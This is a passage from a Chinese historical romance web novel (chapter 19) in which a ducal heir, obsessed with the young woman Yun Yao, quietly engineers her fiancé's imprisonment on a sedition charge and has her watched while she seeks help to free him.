她见轿子要上爬山廊,脸上一烫:“不用不用,我下来走。” 挣扎要下轿,抬轿仆妇们却将她按回轿内:“云姑娘坐稳了,世子吩咐过,要将您送回屋。” 仆妇们抬轿上阶,在廊中走,云窈不好意思别首别,望着漏窗旁自己的影子,脸上热辣。 “窈娘!”前一霎听见呼唤,下一霎齐姝妍就到近前,风风火火,怀抱一琴,“去小筑找你说你不在府里。” 她身后跟着的齐姝静稍慢数步。 仆妇们停轿行礼,云窈笑回:“我出去了一趟,怎么了?” 齐姝静后来,却先留意云窈坐轿子,上下打量,不说话,引得齐姝妍亦将目光落到云窈身上:“你腿怎么了?” “扭伤了,上过药已经没事了。” 齐姝妍暗松口气:“上回说你家开乐器行,那你会修琴吗?” 云窈看向齐姝妍怀中,鹿角灰胎,一把好琴,且并无弦断,不知是何故障。 多一事不如少一事,其实她应该回不会修,但想着齐姝妍之前主动亲近,也算帮过自己,便说实话:“我可以帮你瞧瞧。” 齐姝妍眸子骤亮,掩不住喜色,一指廊左侧凸出的亭子:“那你是坐那看?还是回木樨小筑?看你腿脚方便。” 旁边的齐姝静张唇合唇,欲言又止。 云窈眺向廊亭:“就坐那瞧吧。” 齐姝妍麻利把琴架到石桌上:“你瞧瞧,怎么弹都走音,明明上回还好好的。” 云窈试了几个音,看起来是太久没弹,又没保养,尘埃藏于琴弦底部,影响了走手和发音。她仰头正准备告知原因,齐姝妍抢话急问,语似连珠:“午时以前能修好吗?” 她很久没弹,并不爱琴,但早上得知步仙镝今日午宴是琴会,她要抱琴赴宴,讨他欢心。眼下已巳时,请琴师上门修来不及,只能指望云窈了。 齐姝妍眼巴巴瞅着云窈,云窈禁不住咬了下唇——不知道二姑娘为什么这么急? 她怕知道太多惹祸上身,摁下心中疑惑,只道:“我全力以赴,争取早点修好。” 说罢埋头专注修琴。 好在弦和琴身无伤,云窈清理完灰尘,抬手试拨了几个音,皆正。她以为寻常,齐氏姐妹却觉泉水淌过心田。 “你怎么弹得这么好听?”齐姝妍旋即追问,又想自己要有云窈的琴技,一定能博步仙镝欢心。 “我家小姐最拿手的就是七弦琴了。”落玉插话。 齐氏姐妹皆笑着点头,接着就听远处传来清润男声:“弹一曲听听。” 众女齐齐回头,见廊上仆妇已俱跪下,齐拂己冉步行来,越来越近。 云窈垂首眨了下眼,大公子和自己一道上车的,却这时才回来,他路上又去办了什么事吗? 她和齐氏姐妹一道起身,齐姝妍齐姝静皆福身唤“大哥哥”,云窈却领着落玉恭敬行大礼。 齐拂己虚扶了下,淡笑道:“刚在这厢听见云姑娘随手一拨,便如流水洗,不知可否赏光弹一整首?” 齐姝妍听到这话啊了一声,怕耽误自己去见步仙镝,却又忌惮齐拂己,不敢阻拦。 齐拂己恍若未闻,只睇云窈,和颜悦色却又带数分客气疏离。 云窈不知自己是不是印象模糊了,竟觉齐拂己很少像刚才那样,一口气讲一长串话。她恍惚左瞥,亭外假山两峰,小池流水,垂丝桧婆娑。 云窈收回目光,咬唇:“我弹得不好,献丑……大公子……莫怪。” 她手紧紧攥着袖角,讲完了仍未放开。 齐拂己温和笑道:“不会,云姑娘尽管弹。” 心里却迫切想牵她攥衣角的那只手,别捏衣裳了,捏他,他会扶着她的手,引领着她握住…… 云窈低头坐回桌边。 她想,大公子修佛之人,那就弹一首《妙花佛曲》吧。 百鸟朝凤,天女散花,观世音现莲台妙相,柳枝甘露洒遍三千。 一曲终了,情不自禁鼓起掌,云窈起身又说献丑,齐姝妍道:“哪里,你这是‘此曲只应天上有,人间哪得几回闻’,大哥哥,是不是?” 齐姝妍望向齐拂己,面上笑僵住。齐姝静和云窈随后望,也愣了。云窈紧张,是不是自己弹得太差劲,大公子一直不说话,脸上也无笑意。 半晌,齐拂己仅点了一下下巴,用没有起伏的语气道:“不错,辛苦了。” 说完竟即刻转身离去,三女皆呆。俄倾,齐姝妍忙替齐拂己解释:“窈娘,我大哥哥平时话少,说不错就是真不错,我弹他都不会说不错辛苦的。” 云窈面上随着齐姝妍的话点头,心里却想:大公子要点评她弹得不好,她也不会生气,就是大公子向来谦和,怎么突然这么失礼,连走也不道别…… 她带着不解眺向齐拂己背影,却发现他越走越快,一会就不见了。 云窈愈发疑惑。 远处,齐拂己面颊紧绷,快步走下爬山廊,终抑制不住抬右手在胸前捏了两下。 起初听见那几个音,他就思及水月寺,再央她弹一整首,彻底坐实猜测。 她就是水月寺的知音! 她是水月寺弹琴人,亦是他夜夜的佳梦。他脑海里戴白纱帏帽的女郎渐渐和云窈重合,融为一体,他嘴角的笑则越扬越高。 齐拂己走太快,大安渐渐跟不上,不得不唤:“世子,您等等小的!” 齐拂己压根听不见,两侧耳畔皆只有云窈琴声,他不住回想每一次见到的云窈,水月寺内白衣翩跹,清风池上粉衫藕裙,共救伤鸟时穿的天青色罗纹襦裙……突然发现自己记得每一回见面她穿的衣裳,人人称称呼他世子,唯有她唤大公子,一声声,挠心肠。 她处处合他心意,不能再放手,不能言不由衷。 他不会再让给别人。 齐拂己脸上浮现一丝从未有过的狞笑,一闪而过。 第19章【VIP】 第19章 第十九章 强取豪夺开启! * 这一日,天气晴好,秋高气爽。 屋内,落玉沏茶,云窈翻书。落玉扯了下身上夹棉的袄子道,“这还没过中秋呢,就穿这么厚了。要我们那,这会还热着呢!” 还是江南好。 半晌,落玉又噘嘴:“想烤火。” 云窈叹口气:“算了吧,别又上火了。” 前日她和落玉拉出炉子烤火,结果一早起来,一个口干咽痛,另一个嘴角生泡。 落玉呲牙:“小姐,你这么一说我嘴泡又疼了。” 忍不住抬手要抠。 云窈急忙阻止:“唉别碰!让它自己瘪,抠破留疤了。” 落玉盯着云窈,心道自己不像,天香国色,不在乎留疤的。 且她不嫁人的,一辈子陪着小姐。 落玉扯了下嘴角,放下手:“话说张公子自打收了香囊,就再无音讯,莫说约小姐你出去了玩,一句关心,几字问候,总该有吧?” 云窈没想到她突然说这,愣了下。 落玉手背打手心,抱怨:“没捎话,没书信,小姐您和他这还没成亲呢,就这般怠慢,怎么得了!” 云窈垂眼。其实上回逛街,两两私下时,张宗云约她中秋前登高,但他只说了两句话,不知是真约还是客气。 云窈心里些许难受,面上却笑:“节前人家国子监忙,不似我们游手好闲。” 落玉哼了一声:“也就小姐替他开脱。” 话音尚未落地,外头响起呼唤:“云姑娘,云姑娘!” 小丫鬟跑来传话,说门房来通传,国子监张博士家里来人,有东西要亲手交给云姑娘。 落玉一听,转愠为喜:“念什么来什么!他还是记得小姐的!” 云窈笑道:“我说他忙吧。” “那也不该忙忘了。”落玉嘀咕,跟随云窈往府门口走。跨过门槛时云窈边提裙边问传话女婢:“是张公子自己来的吗?” “张博士没来,有一个长随在府门口候着。” 云窈旋即蹙眉,往常府里传话小厮亦等在花厅,铁头怎么不进门?什么东西非要亲自交给她?这般重要,张宗云却不亲来? 她疑问重重,到国公府角门时,铁头正来回踱,步子沉,并不快,且一直垂首。落玉连唤两声,铁头才似梦游人惊醒,朝云窈这厢缓慢走来,途中还吸了一下鼻子。 极微小的动作,云窈偏瞧进心里,骤地一沉。 铁头走近了,手里攥的卷轴云窈觉眼熟。 铁头徐徐一拜,双手奉上:“云姑娘,我们家公子让我把这东西退还给您。” 云窈接过卷轴,打开一看,竟是自己和张宗云的婚书,她顿时脑中嗡地一声,一片空白。 继而双臂抑不住震颤,退婚,张宗云竟要同她退婚! 他不知道一个女子被退婚了会有什么样后果吗? 还不是找人说情,徐徐图之,而是面都不见,差个小厮塞还她婚书,何其羞辱! 云窈胸脯止不住起伏,但愤怒却渐渐平息,不对劲,他俩的婚书是过了明路的,国公府帮着递呈官府,不知审了没有?若是登记上了,退婚也要经由官府,悔婚是要挨杖责的。想到张宗云今日没来,云窈愈觉蹊跷,近前半步,差点去抓铁头胳膊:“你家公子到底怎么了?” 她不自觉提高嗓门:“出了什么事么?” 铁头闻言两眼泛红,却哽咽着回:“没什么,公子说彼时订婚乃一时冲动,未曾深思,如今想来对云姑娘并无情意,且良禽择木而栖,愿云姑娘将来和公子一样,另聘高主。” 这是瞧不起云窈,要另攀高枝,落玉直爽,径直回呛:“怎么着,有高门小姐瞧上你家公子啦?” 铁头咬牙应是。 落玉愤而骂道:“呸,真是瞎了狗眼!”她一激动,又骂了好几句杭州话,胸脯鼓鼓,抬手要奏铁头,云窈却将落玉手一按,总觉得另有隐情。 云窈盯着铁头通红双眸,以及他脸上掩不住的悲戚表情,喉咙里也有些酸,呷了几口,才追问:“这真是你家公子心中所想吗?” 铁头倏地落泪,明显不是。可无论云窈再怎么追问,他都一口咬定,公子就是不要云姑娘了,因为她对他仕途无益。 云窈再逼问,铁头道了声别转身就走,越走越看。 云窈望着他最后成一个点的背影,心里堵得慌,拉起落玉的手:“此事须禀明殿下。” 说罢便领着落玉往上房去,因为忐忑,步子不大稳。 芭蕉后立着假山,假山后头转出来速喜,深深眺云窈一眼,而后往世子院回报。 齐拂己听完心抽了下,心疼云窈的难过,他自然知晓女子被退婚后的处境,但她无需担心,他肯定是要纳她的,还会加倍补偿。 齐拂己臂搁桌上,顺手翻页,还是那册《观佛三昧海经》,人身九相,却不是讲红颜枯骨。第一页讲人新死相,人才刚死,尚如春日艳花,未散芬芳。 他扯了扯唇角,不急。 * 齐拂意近几日身子好些,加之天气晴好,太医便让他多接地气,出院子散散步。因他身弱,一干长随并软轿伴在身后,随时照应。 走到梅岭一带,那梅花未开,黄绿叶后却陡见一抹红,齐拂意眉心一蹙,心也猛地跳快好几下。 他没站稳,晃了晃身,长随们急忙扶住。 齐拂意身子立着,扭头望向越走越近的云窈,因为仍有汉阳公主的人盯梢,所以他漫步之处刻意避开木樨小筑到上房一带,没想到还会遇见,齐拂意不禁浮起笑意。 云窈没想到会遇见齐拂意,好些天没见,又陌了生,却又避无可避,俯身言简意赅:“二公子。” “云妹妹这是打哪里来?”齐拂意笑问。 云窈垂着脑袋回:“民女从角门回来。” 齐拂意点头,怪不得会遇着,却又笑僵了下:“我亦是白身,妹妹在我面前,不必自谦。” 云窈心中却想,又称呼妹妹了,本来宴会上那一出,公主就对齐拂意亲近她有意见,此刻,云窈愈发不敢抬头,也不答话。 齐拂意明白她心中所想,涩道:“我从来当云妹妹就像自己的妹妹,那日席上动手,纯粹是兄妹之情,朋友之谊,打抱不平,绝无它意……”他说得很慢,到这里顿了一会,才断续道,“且听说你订了亲,还没有道声恭喜。改日妹妹成婚,我一定送厚礼去。” 良久,云窈行礼:“多谢二公子。” 语气不敢带一丝感情。 云窈提裙走来时,齐拂意就已睹她蹙眉抿唇,步子急促,但他起初被喜悦笼罩,未作它想,这会心里酸涩了,才思忖她因何愁眉不展,是什么令她焦忧? 再一回头望,云窈要去的是汉阳公主的上房。 “妹妹可是遇着了什么难处?”美人总是令人怜惜的,齐拂意禁不住想为她排忧解难。 云窈先咬下唇,而后摇头。 齐拂意嘴角艰难往上扬起:“云妹妹若有难处,尽管讲来,”他望着她,一字一句,“我、会、帮、你。” “没有什么难处,我就是去给殿下请安。”云窈再次否认。 齐拂意眨眼,微笑,柔声道:“那快去吧。” 云窈便对着齐拂意再福了下身,去到上房。公主正好无事,召她进去,倒还顺利。云窈鼓起勇气,告诉公主张宗云要同她退婚。 “退婚?”汉阳公主亦不知情。 云窈呈上婚书。 公主扫两眼,还回云窈手中,拍肩安慰,过会方问:“他说了是什么原因吗?” 又说无论何种原因,张宗云这么做都不厚道。 看起来公主绝对站在云窈这边。 但等公主话都说完,云窈仍坚持撒了个谎:“不知道为什么会被退亲,无缘无故突然来这么一出,民女完全慌了神。” 公主再次宽慰莫慌,许诺云窈会去了解实情,让她回木樨小筑等回话,再次强调无论如何,都会站在她这边:“那张宗云实在不行,吾就为你再寻一门!” “全凭殿下做主。”云窈跪拜。 她回去等了两日多,不到三日,便得回信,说那张宗云原有桩指腹为婚,未婚妻是湖州农妇,但父母临终未同他讲,他一直不知情,如今未婚妻从湖州找上门,不得已,先来后到退了云窈的亲事。 “殿下特意让我捎话,她没打听清楚就说亲,让姑娘遭了一回罪,但姑娘是个有福之人,婚书衙门那递上去还未审,没登记更没人瞧见,做不得数。姑娘这桩亲只咱府里人晓得,咱们不往外透,不影响半点姑娘的清誉。”来传话的不是经常来那仆妇,而是汉阳公主最贴心得力的婢女,可见重视,“且这事殿下已经上心,姑娘完全不用焦忧。” “多谢殿下。” “殿下说了,亏待了姑娘,定会为您再觅一门更好的亲事,会往上说,姑娘也算因祸得福了!” 婢女讲这话时喜气洋洋,云窈温顺道谢,心里却嘀咕:谁惹的祸?予谁的福? 她胆小,不敢流露心中非议,又想铁头说张宗云被高门贵女相中,公主却说他要成亲的是农妇,怎么说辞不一样? 她心里乱糟糟,如悬匕首,总不落地,待那婢女走后,止不住胡思乱想,起先仅忐忑张宗云这桩悬案,再后来忆起宴会上二公子和齐宽打架,自己被人下药……桩桩件件糟心事。再思及爹娘早逝,倘若父母还在,断能帮她拿个主意…… 越想越伤心,云窈先啜泣,继而嚎啕大哭。 落玉宽慰,没一会受感染变成抱着云窈一起哭。 外面似乎起风,刮得窗子呼呼,朦胧中听见有人寻问:“是妹妹在伤心么?” 云窈扭脖看向窗户,声虽立止,脑袋跟肩膀却仍抽动,落玉已起身去开窗。二女同时瞧见外头立着齐拂意,他本就瘦,风一吹,显得袖管更空。 自那日分别后,他始终不放心,忍了两日,终不管不顾走入木樨小院。 此刻与云窈视线一对上,便许诺:“别哭了,和我说说,能帮的尽力帮你。” 云窈许是真哭急了,只觉一根救命稻草在眼前晃。 她打定主意要求齐拂意帮忙打听真相,开口说的却是:“二公子,你进轿子里说,莫要吹风。” 和梅岭遇见一样,齐拂意身两侧的长随神色警惕,好像时刻准备搀扶,院中还停着四围的软轿,云窈怎会不明白? 齐拂意心中一暖,不走,仍立在原地:“那你就快些说与我听。” 云窈支支吾吾道出张宗云退婚事,齐拂意没像汉阳公主那般宽慰,反而攒眉沉吟:“听起来像是有隐情。” 云窈猛地抬头主动去对齐拂意目光,对吧,她也觉得奇怪。 齐拂意颔首:“这事包在我身上,保证帮你打听清楚。” “那就多谢二公子了。” “妹妹何必言谢。” 风掠过二人身侧,云窈的裙摆和齐拂意的袖口往同一方向扬。 风亦吹入世子院内,树叶沙沙,此时此刻,大理寺少卿李凝正在拜访齐拂己。 二人自幼相熟,还如从前一样,在书房夔龙纹的罗汉床上对坐。李凝浅尝口茶,看齐拂己也呷一口,不由一愣,手停空中。 齐拂己瞥他一眼:“盯我做甚?” 李凝一笑:“难得见你也喝。” 齐拂己闻言又呷一口,放下天青色茶盏:“你近来很闲?” 虽然李凝从前也常来府里,但最近来得太频繁了,无事献殷勤,非奸即盗。 李凝心头一跳,自那一日书肆与姝静别后,朝思暮想,忍不住寻来魏国公府。每次经过她的绣楼都走得极慢,几乎脚跟抵着脚尖,她应该知道的,却从来不曾下楼与他相遇。 李凝强自镇定,语气轻松:“难得清闲才会来你这里聚一聚。仙镝聒噪,你这坐着喝点茶,正好。” 李凝仰头喝尽,齐拂己提壶,亲自为他再续一盏:“这样说来大理寺最近案子少?” 李凝先眺窗外,阶下立着一名仆从打扮男子,他识得,这是世子院的管家小吉。齐拂己亦随之望去,一脸寻常。 李凝收回目光,低头饮茶:“少得很,目前在审的就一桩反诗案。” “这年头还有人敢提反诗?” “国子监那帮博士嘛,写诗多。”李凝瞥了眼桌面,不再说了——多写多错,容易让人抓着把柄。那首反诗连藏头都不是,乃斜读四字,恐怕那个张博士自己都不晓得。 这种卿无意却遭他人检举的事发生过好几例,下定论前李凝不会多言语,另起话头聊旁的,齐拂己亦未追问。墙外台阶下小吉眼观鼻,鼻观心,如若未闻。 李凝辞别后,自在二房那边多绕多停,期盼见到齐姝静。小吉则恭谨进入书房,见着齐拂己便跪:“世子恕罪,您交待的事小的办砸了。” 齐拂己盘膝坐于罗汉床上,并无起身意。小吉续道:“安排的人没能给云姑娘漏话,二公子抢先到了木樨小筑,站在窗外同云姑娘说话。”小吉眨了眨眼,转述线人回报:“云姑娘托付二公子去查明真相,二公子允了。” “那就不必告诉她了。”齐拂己起身,“等二弟查完他去说。” 他拂了下袍子,将褶皱捋平:“把安排的人撤了,暗桩仍留着。” “属下遵命。” 齐拂己摆摆手示意小吉出去,自坐到桌前,《观佛三昧海经》一直摊开未翻,亦未收捡,此刻翻下一页,二者青淤相,见于死人一日至于七日,身体青膖淤黑。 * 是夜。 府上掌灯。 魏国公回得晚,推门入内,汉阳公主正卧贵妃榻上,由着婢女按肩。室内红海乳香袅袅,国公笑问:“怎么还没睡?” 说罢朝窗外眺一眼,隔着琉璃窗都能辨月儿高挂。 公主眼神示意婢女退下,起身道:“等你回来。” 有件事压心头好几天了,却因国公日日晚归,一直说不得。 不敢让公主服侍,国公向来自行宽衣,抬手解扣子,嘴上笑问:“怎么,有事想和我说啊?” 公主也宽了衣,把裙袄交到国公手上,国公帮着一并搭衣架上。夫妻俩上了榻,散下帐子,公主才嘀咕:“二房姨娘带来那丫头,我给说了门亲,好些天了。” 国公翻个身:“好事。” “哪晓得那未婚夫前日题反诗被抓,下了大狱!你说她是不是个灾星?”公主对着国公后背一个劲地说,“男的倒是有情有义,主动退婚,不牵连也不叫她晓得。但她却托到我这里,非要求一个真相……”汉阳公主细细说道,不愿云窈与张宗云纠缠,节外生枝,牵连国公府,编了个说辞令云窈死心。 最后公主感叹:“只是还得给她再相看,这事又多了!” 她毫不掩饰面上不耐,仿佛粘上了甩不掉的鼻涕。 魏国公转过来面对公主,算是安慰:“随便说一门得了,你少操心。” 说罢便闭了眼,很快能听见均匀的呼吸。 公主噎了下,也拉上被子睡了。 魏国公再未听公主说起此事,亦不主动提及,似不在意,却在翌日暗室,与齐拂己商量完近日筹谋后,随口一提:“你做的吧?” “礼部调兵部的事的确是儿子自己做主回绝了。”齐拂己淡淡开口,“上任才几日就做夏官,恐引猜忌,礼部扎稳了,亦有机会。” 魏国公挑了下唇角,似笑儿子答非所问:“我说你手插进国子监的事。” 他言语轻柔,听起来并无责备意。 齐拂己唇抿一线,算是默认。 国公爷抬手扶向齐拂己肩头,轻轻一拍:“莫要为一个女人坏了大事,待升龙那日,要什么没有。” 他手从齐拂己肩上拿下来,又道:“这事给你母亲添了不少麻烦,你身为子女,不该让她徒增白发。” 齐拂己心道父亲一会筹谋登大宝后纳三宫六院,一会又怜惜母亲,替她考虑,难怪佛说人有二性,真心妄心。 他自觉与父亲不同,应喏道:“爹放心,孩儿晓得孰轻孰重,不会耽误大业。” 魏国公点头:“那就好。” “母亲那里,还需要爹帮忙遮掩。” 魏国公又点了下头,嘴似张未张,本来还想指点一二,但是算了,年轻人的事,无伤大雅。 齐拂己与父亲分开后,独回世子院中,将那《观佛三昧海经》再翻一页,人死后的第三相名为脓血相,死人身烂,血流涂漫,是最为可恶的。 风从窗缝里挤进来,吹着这页佛经,将翻未翻。 齐拂己见状抬手关上窗。 外面的风越刮越大,接连两日。风过之后,树断枝折。 木樨小筑里断了两棵桂树,阻挡去路,府里差来两位花匠清理。树搬出去,院子里还有响动,云窈隔窗一眺,齐拂意着厚实锦袄,揣着个手炉立在院中,身后风刮得矮茶花丛东倒西歪。 他和云窈目光对上,微微一笑,脚下不动,仍伫院中。 云窈清楚为着齐拂意的身子,应该请他进屋,但男女大妨,为了自己,也为了他的声誉,只能让他这么站着。 她自己从屋内绕出,边走边问:“二公子,这么冷的天,其实您让人捎个口信就行。” 说着自个心一沉,二公子亲自来说,难道张宗云出的是大事?! 齐拂意看着她,口难开。 良久,低声艰难:“我不知那位张公子是因何原因退亲。” 云窈听见反倒松了口气。 齐拂意接着再道:“但他作了反诗,已经下狱了。” 倏地一股凉气自云窈脚底往上蹿,颤声追问:“什么时候的事?” “这个月初三就羁押去大理寺了。” 云窈脑子转得飞快,正是铁头来退婚那日,对上来。院子里风正呼啸,树摇摇摆摆,她也跟着不受控抖了一下。 齐拂意瞧见她肩膀缩起来,心里难受,:“我去为张兄周旋一下,看能不能救出来。” 云窈猛抬头盯着齐拂意,眼神既灼灼又泛晶莹。齐拂意一下子承受不住,偏过头去,嗫嚅:“不一定能成,我尽人事。” “云窈先谢过二公子!”她哽咽下拜,齐拂意急忙扶住,又宽慰数句,方才离开。 云窈则急急回闺房收拾,翻出婚书,外面风大,添件披风。落玉追着云窈转来转去:“小姐你做什么?要出门吗?” 云窈点头:“去张公子家。” “什么?!”落玉尖声。 云窈被惊到,缩了下肩膀,口中却坚定道:“我不能在这时候丢下他。” 爹娘说,既结夫妻,便当同甘苦,共患难,她和张宗云已经订了亲,虽然没有那种喜爱,但爹娘教诲,仁义礼智信,绝不能做无情无义之人。 云窈望了眼天,阴云密布,遂吩咐:“落玉,带两把伞。” 落玉迟了一会才应好,去找伞。云窈又道:“外头风大,你也添件披风。” “好。”这回落玉应得快了。 二女这趟出门没有报备公主,便也没有马车,靠两脚摸去张宗云先前所说宅邸。走到一半下起雨,好在不大,淅淅沥沥,各撑一伞,只鞋尖一点湿。 寻到张家,门上白恍恍两道封条,犹如两杆画戟对叉一处。虽在意料之中,云窈却仍心一慌。她上前先叩门,无人应,遂将伞交给落玉,双手拍门:“铁头,铁头!” “小姐,这都封了,里头哪会有人。” 云窈微怔,是啊,自己乱了方寸。突然,余光瞥见一抹灰影,旋即朝左追去。 落玉举着伞在后喊:“小姐,你去哪?” 雨点点打在云窈鬓间、肩上,她不管不顾,只追灰衫铁头,可铁头却一个劲往前跑,头都不回,躲得厉害。 “小姐,你等等我啊!” “铁头!”云窈心急,喊出声。前面铁头脚下一顿,云窈见状愈发跑快,一脚踏进水洼里,鞋袜顿湿。她恨不得抓铁头衣领,终碍着男女大妨,无奈再唤:“铁头!” 她喘气:“我都知道了。” “云姑娘。”铁头尚未转身,话就哽咽,待转过来,泪眼涟涟。 落玉终于赶上给云窈撑伞,云窈头上雨立停,但她不在意这些,只叫落玉掏婚书,拿到手,塞还铁头:“我知道你家公子不愿意拖累我,但我亦非大难临头独自飞的人!” 铁头哭得更凶了,捧着婚书的两臂都在抖:“我家公子说,今生无缘,姑娘切莫执念。如果、如果您真的过意不去,来世他争气点,希望姑娘还能再给他留一个机会。” 云窈泪如雨下:“你家公子还好吗?” 因为哽咽,声音模糊,铁头努力辨听,方回:“公子在大理寺一关关的审,要么还个清白,要么、要么就是秋后问斩!” 闻言,云窈落玉皆抹眼泪。 云窈抬手边拭边想,铁头说还能还清白,那就还有回转余地。 她努力止住哭声,问道:“你家公子是无意题的吧?” “当然!”铁头梗着脖子,斩钉截铁,“公子为臣死忠,为子死孝,绝无触犯之意!” “那我去试试求殿下,但……” “多谢姑娘大恩大德!多谢姑娘!”云窈尚未说完,铁头扑通跪在雨里,抢地磕头,“只要能救公子,我愿意下辈子做牛做马报答姑娘!” 云窈后半截话因此噎在喉管里,咽下去,换了别的:“我全力以赴。” “多谢姑娘,多谢姑娘!” 云窈心底叹口气,扶起铁头。 她回国公府后,差落玉去齐拂意那又问了一趟,齐拂意正喝药,屋里人在调地龙温度,二公子体虚,也不能太热了。听见落玉来了,让传进屋内,又闻询问,齐拂意手顿了下,放下药碗。 即刻就有小厮给那药碗温上,免得凉了。 哪能这么快有进展,齐拂意心想,担责道:“是我无能,暂时还没有消息。” 他再三承诺,一有消息就会通报木樨小筑,叫云窈放宽心,不要为此焦忧愁苦,也要注意自个身体。 落玉一一应好,回去回报云窈。 云窈听完,拿起廊下晾的伞。 “小姐你又要去哪里?” 云窈道:“我去求求殿下,看能不能行。” “你这还真是——”还真是不辞辛苦。落玉后半截话卡在嘴里。 云窈一笑,她答应了尽全力,哪能食言。 落玉合唇,另举一把伞陪云窈去。 上房阶上坐着两小丫头,另有三名仆妇倚靠抄手游廊,云窈见大门不似往日只落卷帘和水晶帘,檀木雕花板门也关了起来,便没敢进,而是往游廊寻相熟仆妇。 仨仆妇似谈话未谈话,几不闻声,云窈要寻的仆妇无意回头,扫见云窈,继而朝她走来:“什么事?” 云窈施了一礼:“我想求见殿下。” 明明比仆妇的问话声音更小,却被仆妇瞪了一眼,指放唇上警告:“殿下正在午休!” “那我等她醒了说下。”云窈声音更小了。 “殿下且睡。待会她醒了只怕天黑了,你有什么事我可以帮忙转告。” 云窈迟疑须臾,说出张宗云事。她从手上褪下一根金镯,塞进仆妇手里,按住,“劳烦姑姑了。” 仆妇缩手推却:“这我可不能收。” 云窈还要再递,仆妇道:“殿下还在睡呢,你先回去吧。” 云窈心忽然就凉了下,却还是打起精神,对着仆妇展露笑颜,轻言细语:“那我明日再来试试。” 仆妇没说什么,挥手直让她快回去。 云窈赔笑道谢,拜别,这才一步三回头回木樨小筑,心里乌云未散雨未停,步子沉沉。 她才走到一半,暗桩已经将其动向尽数报给世子院。 齐拂己初听时慢叩手指,到后来指完全滞住,整个人定定坐着,只眼眺向支摘窗,窗框那块木头裂了,他的心竟跟着裂纹慢慢往上爬,听闻她的善举,意料之中,却仍觉她好,愈发笃定她是自己要找的女人,却又心疼她一次又一次求人无门,愿望落空——汉阳公主也不会再见她的。 但他不后悔自己的所作所为。 人死之后,必须经历第四绛汁相,见死人横流黄水,方才能进到第五相,第六相。 齐拂己收臂亦收回目光,吩咐:“让她们照料好,不要又因为淋雨着凉、生病。” “世子放心,已经安排下去了。” “另外,窗户该修了。” 大安错愕,呆了会才眺向窗边,眼见小吉举伞快步走近,大安眼皮又跳了一下。 小吉在门外禀,声音缈缈传进来:“世子,二公子来了。” “请他进来。”徐拂己不疾不徐接话,仿佛一切尽在预料中,还吩咐下人把地龙烧起来。 齐拂意进门时,觉出屋内正缓慢升温,不由心里一暖,下拜行礼时更恭敬三分。 “二弟不必多礼。”齐拂己抬手,示意齐拂意上座。 齐拂意便从门口走向拔步床,途经书桌时扫了一眼,见是佛经,习以为常。他捋袍子上床:“大哥,我来求您一件事。” 说着主动给齐拂己倒了盏茶。 齐拂己淡道:“你说。” 齐拂意不提云窈,只说自己有个朋友叫张宗云,被误会题反诗陷于大理寺,想托齐拂己找李凝,疏通关系:“我朋友这事怎么看都像遭人做局,还得劳烦大哥出手,救他一回。” 齐拂己没喝茶:“你之前可曾联系季平?” 齐拂意讪笑:“私联过,但到底大哥和李少卿亲近些。” 但凭他自己,救不出张宗云。 齐拂己平静注视齐拂意:“我专心理佛,已多年不问世事。”他顿了顿,“二弟,你知道的。” 齐拂意蹙眉,嚅唇,一时难开口。齐拂己冲他笑了笑:“吉人自有天相,如果你这位朋友真是无心之举,遭人陷害,我相信天道自会辨别忠奸,他一定会逢凶化吉,天佑出囹圄。” 齐拂意心仍若舟,漂于大海不见岸,扯嘴角笑了笑:“承兄长吉言。” 齐拂己静静等着二弟再开口,齐拂意却犹豫了下,客套一番辞别,没再提张宗云。 齐拂己送客送到院门口,静伫片刻,似呢喃又似吩咐:“收拾行李,动身去水月寺。” “啊?”这安排突然,大安诧异,“世子要去几日?和方丈约了吗?” 齐拂己转身回走:“该回来时自该回来。” 大安呆呆杵着,世子这是偈语还是哑谜?怎么一点不懂。 他挠了挠脑袋,快步赶上齐拂己。 * 云窈一回小筑,前院的婆子就主动过来烧地龙,云窈分唇要说话,婆子抢先道:“姑娘上回就是没烧地龙,着凉了,这回可得吸取教训。” 云窈合上唇。 过会婢女端来午膳:“姑娘这个点都还没吃,饿坏了吧?” 云窈瞧着布菜,香煎黄鱼、盐卤豆腐、剔骨小排搭配菌子,另有杏仁饼,黄米饭,还用小瓷炉温了碗黄豆山药粥。 最近的吃食越来越精细了,她上回打听,说是府里给拨了小厨房,再问人就不肯多说了。她在公主面前隐约提了两回谢,公主没反应,但应该就是公主安排的。 那明日去求公主,应该也能成吧? 云窈正思量着,忽报府医来访。 云窈急忙亲迎,是上回给她看诊的那位大夫,说今日落雨,知她出门怕又淋着了,主动上门来请个平安脉。 云窈心暖,躬身道谢,府医诊过后说无大碍,但还是开了一剂桂枝汤预防。 云窈想,这府里大多数人还是好人。因此对明日求公主事再添两成信心。 夜里睡得也较为安神,中间只醒一回。到第二天早上,正要照例去请安,却有上房丫鬟过来通传:“殿下这几日要清修,姑娘不用过来请安了。” 云窈一下子血就凉了。 公主不想帮她。 不会在张宗云一事上出手。 齐拂意也没再同云窈见面,只在数天后遣了长随来捎话,说自己对不住云窈,爱莫能助。 这长随传话声色像极铁头,因此虽云窈默不吱声,落玉却忍不住追问:“你家二公子怎么了?出事了吗?” “姑娘莫要再打听了,我这都是偷跑出来的。”长随将落玉胳膊推远,翻墙溜走。 落玉不安,在仆从间打听,才晓得二公子不知何时再次惹怒汉阳公主,被禁足了。 落玉说与云窈听,云窈门清——齐拂意定是去求了张宗云事,她不由心底缓缓蔓延起一股悲凉,涟漪般散开。 落玉还在房中走来走去,惹得人越发焦躁:“怎么办?公主不行,二公子也不行……”以拳捶掌:“难道真没人能救张公子了?” 忽似一颗石子投入涟漪中心,先击起数滴水花,继而成惊涛骇浪。 “不!”因为激动,云窈嗓音变得既尖又沙。 “还有一人……”她喘气,胸脯起伏,“还有大公子!” 可以去求活菩萨! 大公子一定会帮忙的! 他是世子,肯定能行! 云窈即刻和落玉一道寻去世子院,却得知世子出京礼佛,已数日不在府中。 云窈闻言整个人定住,微微分唇,如身从崖上后仰坠落。 而她寻去世子院的消息,则由速喜快马加鞭,连夜送达水月寺。 齐拂己听完静默不语。 大安和速喜到此刻再琢磨不出世子待云姑娘不同,那就是笨蛋了。大安拱手道:“小的这就去收拾行李。” 你说云姑娘需要世子时,怎么就偏偏不在呢?可得回去救她。 “不急,后日再回府。”齐拂己沉稳开口, 他亦心疼云窈,但是不急,再等等。他将那册《观佛三昧海经》带来水月寺,此刻再一页,死人要等乌鸟食,虫狼噉,蝇蛆嗿尽,方才显露第五相——食不消。 * 云窈等齐拂己回京足足等了两日,期间亦同铁头联系,宣判日子越来越近,案子一旦定下来,就难改了。 